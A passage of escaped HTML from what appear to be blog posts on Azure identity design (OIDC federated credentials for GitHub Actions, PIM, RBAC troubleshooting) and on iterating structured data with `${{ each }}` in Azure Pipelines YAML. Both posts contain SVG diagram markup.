style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='420' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='292' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='356' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='372' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='356' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='356' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='356' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='372' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='356' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='372' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='356' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='372' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='356' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='372' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='356' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='372' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='356' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='356' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='356' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eNo Client Secrets\u003c/strong\u003e are stored in GitHub; the trust is based on the repository identity.\u003c/li\u003e\n\u003cli\u003eThe \u003cstrong\u003eSubject (sub)\u003c/strong\u003e claim must match the Federated Credential configuration in Entra ID.\u003c/li\u003e\n\u003cli\u003eTokens are short-lived (usually 1 hour), significantly reducing the risk of credential leakage.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"terraform--oidc-federated-credential\"\u003eTerraform — OIDC Federated Credential\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Federated credential for GitHub Actions (environment: production)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azuread_application_federated_identity_credential\u0026#34; \u0026#34;github_prod\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  application_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazuread_application\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elanding_zone_cicd\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  display_name   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;github-production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  issuer         \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://token.actions.githubusercontent.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subject        \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;repo:contoso/landing-zone:environment:production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  audiences      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;api://AzureADTokenExchange\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eEliminate Standing Access\u003c/strong\u003e: Make every Entra ID privileged role PIM-eligible. The 60-second activation overhead is a small price for a full audit trail.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUse User-Assigned Managed Identities\u003c/strong\u003e: These survive resource recreation and can be pre-assigned roles in IaC.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit via Access Reviews\u003c/strong\u003e: Schedule quarterly PIM reviews. If an eligible assignment isn\u0026rsquo;t activated for six months, revoke it.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNever Use Secrets\u003c/strong\u003e: OIDC has been the standard for GitHub Actions since 2022. Delete existing secrets and migrate to federated credentials.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Role assignment fails — \u0026lsquo;PrincipalNotFound\u0026rsquo; error\u0026rdquo;\u003c/strong\u003e\nThe service principal was recently created and hasn\u0026rsquo;t replicated. In Bicep, set \u003ccode\u003eprincipalType: 'ServicePrincipal'\u003c/code\u003e explicitly to skip the AAD lookup. In Terraform, use \u003ccode\u003eskip_service_principal_aad_check = true\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;OIDC login fails — AADSTS70021\u0026rdquo;\u003c/strong\u003e\nThe \u003ccode\u003esub\u003c/code\u003e claim in the JWT does not match the federated credential. Debug by printing the token claims in your workflow:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTOKEN\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003ecurl -s -H \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Authorization: bearer \u003c/span\u003e$ACTIONS_ID_TOKEN_REQUEST_TOKEN\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$ACTIONS_ID_TOKEN_REQUEST_URL\u003cspan style=\"color:#e6db74\"\u003e\u0026amp;audience=api://AzureADTokenExchange\u0026#34;\u003c/span\u003e | jq -r \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;.value\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho $TOKEN | cut -d\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e -f2 | base64 -d | jq .sub\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/role-based-access-control/overview\"\u003eAzure RBAC Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation\"\u003eEntra ID Workload Identity Federation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/microsoft-entra-privileged-identity-management-pim-for-groups-is/ba-p/3942008\"\u003ePIM for Groups GA Announcement\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/rest/api/authorization/role-management-policies\"\u003eAzure REST API: Role Management Policies\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMove to \u003ca href=\"../azure-policy-governance/\"\u003ePost 4: Governance at Scale with Azure Policy\u003c/a\u003e. The patterns established here are prerequisites for enforcing compliance and automating remediation across your subscriptions.\u003c/p\u003e\n","description":"Design the identity layer of an Azure landing zone. Covers Entra ID vs Azure RBAC, MG-scoped role assignments, PIM, and OIDC for pipelines.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-identity-architecture/","title":"Azure Landing Zone Identity: Entra ID, RBAC, and PIM"},{"content":"\u003cp\u003eYou loop through a string array to generate three deployment stages. Then the requirements change: each environment needs a region code, a service connection, and a flag for whether blue-green is enabled. You hit the wall — \u003ccode\u003e${{ each }}\u003c/code\u003e only gives you one value per iteration.\u003c/p\u003e\n\u003cp\u003eMost documentation on \u003ccode\u003e${{ each }}\u003c/code\u003e stops at string arrays. Real-world pipelines operate on structured data: environment objects with multiple properties, nested region-to-tier mappings, and key-value configuration maps. Knowing how to iterate simple lists is table stakes. Knowing how to destructure a nested object mid-loop, filter iterations with inline \u003ccode\u003e${{ if }}\u003c/code\u003e, and generate unique stage names from compound keys separates a 30-line template from a 300-line template.\u003c/p\u003e\n\u003cp\u003eThis article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHow \u003ccode\u003e${{ each }}\u003c/code\u003e behaves differently on arrays vs. mappings, and what \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003evalue\u003c/code\u003e refer to in each case.\u003c/li\u003e\n\u003cli\u003ePatterns for iterating over arrays of objects with multiple properties.\u003c/li\u003e\n\u003cli\u003eNested \u003ccode\u003e${{ each }}\u003c/code\u003e loops and the exact limits that make them dangerous.\u003c/li\u003e\n\u003cli\u003eFiltered iteration with inline \u003ccode\u003e${{ if }}\u003c/code\u003e to generate conditional stages without conditional logic at the caller.\u003c/li\u003e\n\u003cli\u003eUnique stage name generation from compound keys to avoid collision errors.\u003c/li\u003e\n\u003cli\u003eThe template expansion limits that cap loop depth and total generated items.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe article moves from a review of the basics through five progressively complex iteration patterns, then closes with a complete multi-region, multi-tier deployment generator.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"how--each--actually-works\"\u003eHow \u003ccode\u003e${{ each }}\u003c/code\u003e Actually Works\u003c/h2\u003e\n\u003ch3 id=\"the-two-forms--array-and-mapping\"\u003eThe Two Forms — Array and Mapping\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e operates on two fundamentally different YAML data structures, and the binding behavior differs between them.\u003c/p\u003e\n\u003cp\u003eWhen iterating a \u003cstrong\u003esequence\u003c/strong\u003e (array), each iteration binds the loop variable to the element itself. For a string array, the variable is the string. For an array of mappings, the variable is the full mapping — all properties are accessible via dot notation.\u003c/p\u003e\n\u003cp\u003eWhen iterating a \u003cstrong\u003emapping\u003c/strong\u003e (key-value object), each iteration binds the variable to a wrapper containing two sub-properties: \u003ccode\u003ekey\u003c/code\u003e (the map key as a string) and \u003ccode\u003evalue\u003c/code\u003e (the map value, which can be a string, number, or nested mapping). This is the only syntax for iterating mapping entries — there is no shorthand.\u003c/p\u003e\n\u003cp\u003eBoth forms are compile-time. The loop unrolls during YAML expansion before the pipeline run starts. The result is a static Expanded YAML that the execution engine processes. You cannot add or remove stages at runtime — the structure is fixed at expansion time.\u003c/p\u003e\n\u003ch3 id=\"diagram-the-yaml-expansion-lifecycle-goat\"\u003eDiagram: The YAML Expansion Lifecycle (GoAT)\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes how compile-time expressions like \u003ccode\u003e${{ each }}\u003c/code\u003e and \u003ccode\u003e${{ if }}\u003c/code\u003e are evaluated to generate a static \u0026ldquo;Expanded YAML\u0026rdquo; before the pipeline execution phase begins.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 504 1097\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 224,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,32 L 128,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,32 L 224,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 224,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,112 L 128,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,112 L 224,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,160 L 408,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,208 L 296,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,240 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,240 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,288 L 288,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,304 L 408,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,320 L 200,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,320 L 288,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,368 L 296,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,384 L 328,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,384 L 408,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,384 L 448,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,400 L 200,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,400 L 296,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,448 L 480,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,480 L 288,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,496 L 488,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,512 L 200,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,512 L 288,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,560 L 288,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,576 L 416,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,592 L 200,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,592 L 288,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,608 L 200,608' fill='none' 